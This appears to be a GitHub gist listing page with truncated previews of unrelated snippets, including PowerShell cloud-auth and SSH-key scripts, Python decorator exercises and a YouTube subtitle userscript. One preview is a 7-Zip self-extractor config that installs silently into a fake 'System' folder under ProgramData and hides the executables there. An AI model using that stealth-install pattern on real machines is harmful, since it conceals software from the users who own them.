This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# configuration (adapt to your setup!) | |
$CertFile = "$HOME/certificate.p12" | |
$CertPassword = "notasecret" | |
$Project = "myproject" | |
$ServiceAccountName = "service-account" | |
$ServiceAccount = "$ServiceAccountName@$Project.iam.gserviceaccount.com" | |
$Scope = "https://www.googleapis.com/auth/cloud-platform" | |
$ExpirationSeconds = 3600 | |
# import certificate |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Add-Type @" | |
namespace System.Security.Cryptography.X509Certificates { | |
public enum X509KeySpecFlags { | |
None = 0, | |
AT_KEYEXCHANGE = 1, | |
AT_SIGNATURE = 2 | |
} | |
} | |
"@ | |
function Convert-PemToPfx { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
.SYNOPSIS | |
Create an OpenSSH compatible Public and Private Key in pure Powershell | |
.DESCRIPTION | |
Many scripts rely on the openssh or openssl tools to be available to generate public and private keys compatible with OpenSSH, but this script relies purely on Powershell (and some .NET classes already included) to generate public and private keys. | |
.EXAMPLE | |
PS /git/scripts> ./Create-OpenSSHPubAndPrivateKeys.ps1 -PublicKeyPath my-key.pub -PrivateKeyPath my-key | |
.LINK | |
mailto:[email protected] | |
#> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def integer_check(method): | |
def inner(ref, expo=None): | |
if expo == None: | |
if not isinstance(ref._val1, int) or not isinstance(ref._val2, int): | |
raise TypeError('Please enter numerical numbers for val1 and val2') | |
else: | |
return method(ref) | |
if expo: | |
if not isinstance(ref._val1, int) or not isinstance(ref._val2, int)\ | |
or not isinstance(expo, int): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Class Decorators: Using Decorators with methods defined in a Class | |
def integer_check(method): | |
def inner(ref): | |
if not isinstance(ref._val1, int) or not isinstance(ref._val2, int): | |
raise TypeError('val1 and val2 must be integers') | |
else: | |
return method(ref) | |
return inner |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;!@Install@!UTF-8! | |
InstallPath="%PROGRAMDATA%\\System" | |
;silent mode no gui | |
GUIMode="2" | |
;Update, if system locked, skip | |
OverwriteMode="2+8" | |
; Hide System folder and content | |
RunProgram="hidcon:cmd /c attrib +s +h %PROGRAMDATA%\System\*.exe" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def meta_decorator(arg): | |
def decorator_list(fnc): | |
def inner(list_of_tuples): | |
return [(fnc(val[0], val[1])) ** power for val in list_of_tuples] | |
return inner | |
if callable(arg): | |
power = 2 | |
return decorator_list(arg) | |
else: | |
power = arg |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Download YouTube subtitles | |
// @namespace http://tampermonkey.net/ | |
// @version 0.1 | |
// @description Now you can download YouTube subtitles | |
// @author André Kugland | |
// @match http*://*.youtube.com/* | |
// @grant none | |
// @require https://cdn.jsdelivr.net/npm/[email protected]/dist/FileSaver.min.js#sha256=bbf27552b76b9379c260579fa68793320239be2535ba3083bb67d75e84898e18 | |
// ==/UserScript== |